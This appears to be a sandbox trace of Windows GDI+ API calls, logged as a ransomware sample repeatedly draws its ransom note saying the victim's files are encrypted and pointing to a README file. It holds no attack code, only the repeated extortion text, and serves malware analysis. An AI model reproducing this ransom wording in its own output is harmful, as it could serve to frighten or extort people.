GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220faf0) returned 0x0 [0159.796] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.796] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.796] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.796] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.796] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.796] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.797] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220fb68) returned 0x0 [0159.797] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.797] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.797] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.797] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.797] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.797] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.797] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220fbe0) returned 0x0 [0159.798] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.798] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.798] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.798] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.798] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.798] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.798] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220fc58) returned 0x0 [0159.799] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.799] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.799] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.799] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.799] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.799] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.799] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220fcd0) returned 0x0 [0159.799] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.800] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.800] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.800] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.800] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.800] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.800] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220fd48) returned 0x0 [0159.801] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.801] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.801] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.801] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.801] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.801] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.801] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220fdc0) returned 0x0 [0159.801] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.802] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.802] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.802] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.802] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.802] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.802] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220fe38) returned 0x0 [0159.802] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.802] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.803] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.803] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.803] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.803] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.803] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220feb0) returned 0x0 [0159.803] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.804] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.804] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.804] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.804] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.804] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.804] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220ff28) returned 0x0 [0159.804] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.804] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.805] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.805] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.805] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.805] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.805] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220ffa0) returned 0x0 [0159.805] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.805] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.805] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.806] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.806] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.806] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.806] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2210018) returned 0x0 [0159.806] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.806] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.806] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.807] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.807] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.807] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.807] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2210090) returned 0x0 [0159.807] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.807] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.807] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.808] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.808] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.808] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.808] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2210108) returned 0x0 [0159.808] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.808] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.808] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.809] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.809] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.810] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.810] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2210180) returned 0x0 [0159.810] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.810] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.810] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.810] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.810] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.810] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.811] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x22101f8) returned 0x0 [0159.811] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.811] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.811] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.811] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.811] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.811] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.811] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2210270) returned 0x0 [0159.812] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.812] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.812] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.812] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.812] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.812] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.812] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x22102e8) returned 0x0 [0159.812] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.813] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.813] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.813] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.813] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.813] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.813] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2210360) returned 0x0 [0159.813] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.814] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.814] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.814] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.814] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.814] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.814] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x22103d8) returned 0x0 [0159.814] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.815] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.815] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.815] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.815] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.815] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.815] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2210450) returned 0x0 [0159.815] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.816] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.816] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.816] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.816] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.816] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.816] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x22104c8) returned 0x0 [0159.816] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.816] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.817] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.817] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.817] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.817] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.817] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2210540) returned 0x0 [0159.817] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.817] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.818] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.818] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.818] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.818] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.818] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x22105b8) returned 0x0 [0159.818] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.818] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.818] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.819] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.819] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.819] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.819] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2210630) returned 0x0 [0159.819] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.819] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.819] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.820] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.820] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.820] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.820] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x22106a8) returned 0x0 [0159.820] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.820] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.820] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.821] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.821] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.821] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.821] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2210720) returned 0x0 [0159.821] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.821] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.821] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.822] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.822] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.822] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.822] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2210798) returned 0x0 [0159.822] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.822] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.822] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.823] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.823] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.823] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.823] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2210810) returned 0x0 [0159.823] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.823] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.823] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.824] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.824] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.824] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.824] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2210888) returned 0x0 [0159.824] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.824] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.824] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.825] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.825] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.825] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.825] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2210900) returned 0x0 [0159.825] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.825] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.825] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.826] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.826] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.826] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.826] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2210978) returned 0x0 [0159.826] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.826] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.826] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.827] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.827] GdipDeleteBrush (brush=0x1bdcccc0) 